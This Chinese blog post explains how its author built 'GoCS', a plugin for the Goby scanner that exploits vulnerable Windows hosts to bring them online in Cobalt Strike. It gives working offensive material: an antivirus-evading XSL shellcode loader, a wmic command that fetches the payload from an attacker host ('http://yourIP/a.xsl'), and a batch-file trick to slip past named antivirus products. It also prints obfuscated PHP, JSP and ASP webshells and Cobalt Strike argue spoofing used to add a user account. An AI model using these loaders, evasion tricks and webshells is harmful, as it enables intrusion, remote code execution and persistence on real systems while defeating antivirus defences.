首页 > 其他分享 >简单免杀绕过和利用上线的GoCS

简单免杀绕过和利用上线的GoCS

时间:2024-06-03 16:59:41浏览次数:19  
标签:文件 插件 上线 免杀 GoCS 漏洞 wmic 发包

前言

Goby 可以快速准确的扫描资产,并直观呈现出来。同时经过上次 EXP 计划过后,PoC&EXP 也增加了许多。在实战化漏洞扫描后,对于高危漏洞的利用,不仅仅只在 whoami 上,而是要进入后渗透阶段,那么对于 Windows 机器而言,上线 CS 是必不可少的操作,会让后渗透如鱼得水。此插件只运用了简单的利用方式上线 CS,希望师傅们能够提供想法和建议把它更为完善,源码中有详细的注释,可供师傅们快速理解。

 

0×01 插件使用

1.1 插件效果

1.2 使用方法

1.在工具栏导入 CS 的 32 位 RAW 的 payload 文件 (attacks - > packages - > payload generator - > output:raw 后缀为 bin),将免杀后的文件放入 VP.S 中。


2.在 Goby 插件配置中设置 VP.S 免杀文件地址,在实际使用中也可以进行实时的更改。

3. 在漏洞利用详情页中点击 GoCS
4. 选择一个利用方式和文件形式,根据实际情况更改 payload 进行绕过拦截
点击 GO 即可发包利用

注:现无法只在目标为 Windows 的机器才显示该插件,还需要用户自己判断一下。

0×02 插件开发

2.1 主体框架

├── .gitignore          // 忽略构建输出和node_modules文件
├── README.md           // 插件介绍文档
├── CHANGELOG.md        // 插件更新日志文档
├── src
│   └── CS.png         //CS的图片
│   └── assets   //layui
│   └── extension.js      // 插件源代码
│   └── Gopass.html    //工具栏制作免杀xsl文件
│   └── GoCS.html      //漏洞利用页面进行发包利用上线CS
├── package.json         // 插件配置清单
├── node_modules      //引入模块

2.2 它们的爷爷 package.json

该插件由工具栏的 GoPass.html 和漏洞利用的 index.html 进行大部分工作,所以我先简单介绍它们的爷爷 package.json

2.3 它们的爸爸 extension.js

具体注释在源代码中,在 Goby 中下载 GoCS 后可在根目录下 \extensions 中找到,这只分析重点。
这个页面是父页面(我的理解)在引入模块时直接引用 let fs = require(‘fs’);或者加 parent 也可以。

点击 Command 为 GoPass 后进行的操作来跳出 GoPass.html:

//在工具栏的图标点击过后入口
goby.registerCommand('GoPass',function(content){
    //获取子页面路径
    let path = __dirname + "/GoPass.html"
    //打开子页面并配置长宽
    goby.showIframeDia(path, "GoPass", "666", "500");
    
})
//在工具栏的图标点击过后结束

进行发包和利用 EXP 的代码:

//此段代码是摘取Go0p师傅的Goby_exp插件源码

    //创建Gexp类进行发包获取漏洞详情和利用漏洞
    class Gexp {
    //引入包和模块
      constructor() {
        this.fs = require('fs')
        this.request = require('request')
        this.path = require('path')
      }
      //初始化函数之类的吧
      init() {
        this.host = this.data.server_host;
        this.port = this.data.server_port;
        this.username = this.data.authUsername;
        this.password = this.data.authPassword;
       }
        //获取配置主要用于获取username和password还有代理端口
       getServerInfo() {
            //对目录下得配置文件进行读取返回
            let config_info = this.path.join(__dirname, '../../../config/config.json');
                //读取文件操作
            this.data = JSON.parse(this.fs.readFileSync(config_info, 'utf-8'));
                //返回应该是json类型可以后面直接用
            return this.data;
        }

         //点击按钮时获取你点击的漏洞详情
        getPOCInfo(vulname, proxystr) {
            this.init();
            //进行发包操作获取Goby本地的返回包,其中有漏洞详情,json类型进行后面处理
            return new Promise((resolve, reject) => {
                //发包配置一系列的参数
                this.request({
                  url: `http://${this.host}:${this.port}/api/v1/getPOCInfo`,
                  method: 'POST',
                  auth: {
                    'user': this.username,
                    'pass': this.password,
                  },
                  proxy: proxystr,
                  json: { "vulname": vulname}
                 }, function (error, response, body) {
                     //成功过后会进行返回漏洞详情
                     if (!error && response.statusCode == 200) {
                        //成功状态获取返回值
                        resolve(body);
                     } else {
                        //失败状态返回错误详情
                        reject(error)
                     }
                });
            })
         }
            //发包利用漏洞,主要用来更改exp的参数
      debugExp(post_data, proxystr) {
            this.init();
            //进行发包操作和本地Goby进行交互,利用更改exp的值进行利用
            return new Promise((resolve, reject) => {
                //发包构造一系列参数
              this.request({
                url: `http://${this.host}:${this.port}/api/v1/debugExp`,
                method: 'POST',
                auth: {
                  'user': this.username,
                  'pass': this.password,
                },
                proxy: proxystr,
                json: post_data
              }, function (error, response, body) {
                if (!error && response.statusCode == 200) {
                  //输出返回的内容
                  // console.log(body);
                  resolve(body);
                } else {
                  reject(error)
                }
              });
        })
      }

    }
//构造Gexp类结束 

2.4 它们自己

2.4.1 GoPass.html 用来生成免杀 xsl 文件

这个文件主要就是将 bin 文件进行 base64 加密后和 xsl 文件进行拼接,生成一个 GoPass.xsl 文件,供后面进行远程加载。

Xsl 文件的是使用 cactusTorch 作为加载器加载 shellcode,再运用 wmic 进行远程不落地执行 shellcode。由于无文件落地的木马可以附加到任何进程里面执行,而且传统安全软件是基于文件检测的,对目前无文件落地木马检查效果差,所以该插件采用了此形式进行上线 CS。

而原版本的 xsl 文件生成后就会被杀软报毒,那么加入 <!----> 注释符号进行简单免杀绕过,此处只绕过基本的杀软。

同时在重要函数名上也如此。

此处只讨论静态免杀,在 vt 上效果如下。

效果是不够的好,加入 <!----> 如同 P 图,P 得越多,越… 根据上面的绕过举一反三过后的免杀如下。

这几个感觉是执行了文件,只把一个字母大写,代码不能执行了它们就不报毒了,所以后期还需要加强免杀。

2.4.2 index.html 用来生成漏洞利用上线 CS

这个文件主要用来,调用 extension.js 文件中的 Gexp 类,获取 PoC 的参数进行更改后调用 EXP 进行发包利用,其中利用方式有 RCE 和 upload 两种,文件形式有 php,asp,jsp三种(以后会加入 aspx),源码中有具体的注释。

此处因为是子页面使用引入模块时必须加入 parent

let fs = parent.require('fs');
let goby = parent.goby;

同时如果你使用 exec 函数调用 cmd 也是 Goby.exe 进行调用的,生成文件会在 Goby 的根目录下面,不指定目录写文件也是一样。

初次写 js 的师傅注意,下拉框因为是 div 修饰过的,不能再使用原生的事件进行监听,要使用 layui 的语法进行 select 监听事件。

//select监听事件开始
//layui的监听事件和原生select不一样

layui.use(['form'], function () {
    var form = layui.form;

    //下拉框改变事件开始
    //layui的调用写法,因为select采用的是layui的样式使用要用它的写法不能用原生的
    //id为vlul的下拉框的值改变后触发
    form.on('select(vlul)', function (data) {
        //调用函数主要用来更新textarea中的内容
        changeE();
    });
    //id为txt的下拉框的值改变后触发
    form.on('select(txt)', function (data) {
        //调用函数主要用来更新textarea中的内容
        changeE();
    });
    //下拉框改变事件结束


});
//select监听事件结束

以 php 为例,漏洞利用 upload 是上传写入 php 代码执行 cmd 调用 wmic 远程加载运行 shellcode,RCE 是默认可以执行系统 dos 命令的情况下,调用 wmic 进行远程加载运行 shellcode (如果是代码执行漏洞还需要自己添加 system() 之类的调用 cmd 的函数)

最开始的 xsl 文件有了简单的免杀后,能不能成功上线还得看最后一步 wmic 的命令,正常 wmic 命令是 wmic os get /format:“http://yourIP/a.xsl”

不用想,这肯定会被某全家桶拦截,所以我们必须绕过拦截,那么使用用到烂的 echo 加管道符 | 来试试

echo os get /format:“http://yourIP/a.xsl”|wmic

本地 cmd 执行不会被拦,但是 Upload 利用时候,写入页面后,再加载页面时候会被拦,这意外么?毫不意外。但是这里有趣的是,其实这里绕过了但是没有完全绕过,根据高级的食材往往只需简单烹饪这一道理,所以我决定简单烹饪,将它写入 bat 文件中本地执行,最后发现某全家桶毫无拦截。所以页面中不调用 wmic,而是把它写入 bat,本地去执行 wmic 这样就不会被拦截。

所以最后命令为 echo ^echo os get /format:“http://yourIP/a.xsl”^|wmic>>1.bat&&1.bat

最后来看看在某斯基,某全家桶,某管家,某绒的监督下,不落地执行 shellcode 会是什么样子。

看着 6 秒没有反应,还以为是被 某斯基 杀了,结果发现没有。上线后如果执行敏感操作,如创建用户,可以考虑用 argue 参数污染。

使用参考CobaltStrike的argue参数污染绕AV - 灰信网(软件开发博客聚合)

#参数污染 net

argue net xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

#查看污染的参数

argue

#用污染的 net 执行敏感操作

execute net user test2 root123 /add

全程某全家桶是没有进行拦截的

原理简单来讲也如同 P 图,原本执行 net,但是污染后 command 却是 net xxxxxxxxxx,达到绕过。

你在使用中肯定会遇到一些小问题,比如,wmic 加载了一个没有开放的端口就会出现

那么最好的解决办法就是不去解决,等待一分钟过后就可以了,它们都会自己退出。这告诉了我们一件事情,一定记得去防火墙设置里面开放端口。

讲完了 cmd 命令的绕过那么就开始 upload 中 Webshell 的绕过。

Php 是参考冰蝎的回调函数进行利用的 php 语句。

let phpshell = "<?php @call_user_func(base64_decode(\"c3lzdGVta\"),\"" + wmicCMDshell + "\");"

Jsp 基础免杀是参考的 @yzddMr6 师傅的 https://yzddmr6.tk/posts/webshell-bypass-jsp/ 文章

let jspshell = "<%@ page contentType=\"text/html;charset=UTF-8\" import=\"javax.xml.bind.DatatypeConverter\" language=\"java\" %><%Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary(\"6a6176612e6c616e672e52756e74696d65\")));Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary(\"65786563\")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary(\"67657452756e74696d65\"))).invoke(null), \"" + wmicCMDshell + "\");%> ";

Asp 是简单利用的 chr 字符加大写,不能免杀,希望会 asp 的师傅能够指导一下。

let aspshell = "<%response.write server.createobject(\"wscript.sh\"&Chr(69)&\"ll\").ExEc(\"" + wmicAsp +"\").stdout.readall%>"

0×03 总结

第一次编写插件和编写 js 文件,无疑是一次面向百度的编程,总体还是不错,学到了很多。遗憾的是 asp 并没有免杀,还希望会 asp 的师傅指导一下。这个版本很基础,很简单进行利用,所以只能在简单环境下利用,希望后面能加入更多的元素,让这个插件适应更多复杂环境。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

 大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

标签:文件,插件,上线,免杀,GoCS,漏洞,wmic,发包
From: https://blog.csdn.net/2401_84488537/article/details/139408436

相关文章

  • 多企业AI智能名片S2B2C商城小程序:线上线下融合新动力,实现做透与打爆的营销新篇章
    一、引言在当今的数字化时代,线上线下融合的商业模式已成为企业发展的重要趋势。为了更好地满足消费者需求,企业需不断探索新的营销策略。其中,“做透与打爆”的策略——即“线下做透一个店,线上打爆一个县”——为众多企业提供了宝贵的启示。多企业AI智能名片S2B2C商城小程序作为......
  • 微客云霸王餐v3版本正式上线 团购霸王餐+小程序多开
    好久没发布更新日志了,上次的更新还是春节的祝福语,从春节结束到现在快3个月了,不是说没更新内容,其实微客云的版本迭代一直在做,从后台的日志看已经发布很多版本了,只是没有发布文章通知,因为我们只有比较大的版本才会通知大家,那么今天他来了,团购霸王餐正式上线,支持美团美团购、后续支持......
  • 关于PHP的webshell免杀小结
    0X00普通的一句话木马(适用于CTF和小站)<?phpeval($_POST['a']);?>//函数的相似替换<?phpassert($_POST['a']);?> <?php@eval($_POST['110']);?>与第一个一句话木马相比多了一个"@"字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;属于不......
  • CRMEB 多店版 v3.0公测版发布!全新UI上线,立即体验
    在大家的殷切期盼中,我们非常高兴带来这个好消息,CRMEB多店版v3.0公测版发布啦!我们深知,每一次更新都承载着大家对更优质体验的渴望,所以我们慎之又慎,力求在每一个细节上都不负众望。此次更新,我们不仅重塑了移动端UI,在视觉上焕然一新,还新增了很多实用功能,让操作更得心应手,新增加......
  • 前端项目上线
    目录1项目打包2本地服务器部署2.1具体操作步骤2.2解决刷新404问题 2.3请求无法发送问题3nginx服务器部署3.2nginx配置代理练习安装nginxnginx部署启动项目 3.3nginx部署前端项目 4云服务器部署 本地资源上传 配置服务器与nginx 1项目打包●我们开......
  • 一键云部署:ROS的Terraform托管服务助你轻松上线2048经典游戏
    在现代云计算环境中,自动化部署已经成为一项重要的任务。Terraform,作为HashiCorp公司的一款开源工具,以其强大的基础设施即代码(IaC)能力,使得我们能够轻松管理和部署各种云资源。阿里云资源编排服务(ResourceOrchestrationService,ROS)是一种简单易用的云计算资源自动化部署服务,提供了......
  • 构建未来|进击的元宇宙模式,打破线上线下界限
     元宇宙是指由虚拟世界、数字孪生和现实世界三个核心元素构成的综合体,具有高度沉浸和交互性,可以提供更为广泛和多样化的虚拟体验,并在现实中影响和塑造人们的生活。如今,随着科技不断发展,VR/AR、区块链、AI等众多技术的逐个成熟,元宇宙开始与现实世界紧密融合,元宇宙开发是指在元......
  • 百川智能发布Baichuan 4模型 AI助手“百小应”上线
        大家好,我是AI科技智库(www.aigchouse.com),国内Top10计算机博士毕业,创办了一站式AI工具、资料、课程资源学习平台,每日持续更新。通过分享最新AI工具、资源、变现指南等,帮助更多人了解使用AI,提升工作和学习效率。这里有海量AI工具整合包、AI变现指南、AI学习资料、AI免费......
  • 电力系统上线测试的含义与作用?
    电力系统一、电力系统上线测试的含义电力系统上线测试是指在电力系统建设完成后,对系统进行全面的功能和性能测试的过程。它是确保电力系统能够正常运行和满足预期要求的关键环节。二、电力系统上线测试的作用主要有以下几点:1.验证系统功能:通过上线测试,可以验证电力系统......
  • 震惊 vue+express创建的node上线竟然如此简单!
    1去阿里云申请服务器   首先登录阿里云,搜索服务器esc选择免费试用选择centos选择一台服务器   然后进入服务器控制台,点击概况选择重置密码修改root用户密码用户名为root不建议修改   点击远程连接输入自己的密码   输入命令安装宝塔面板 ......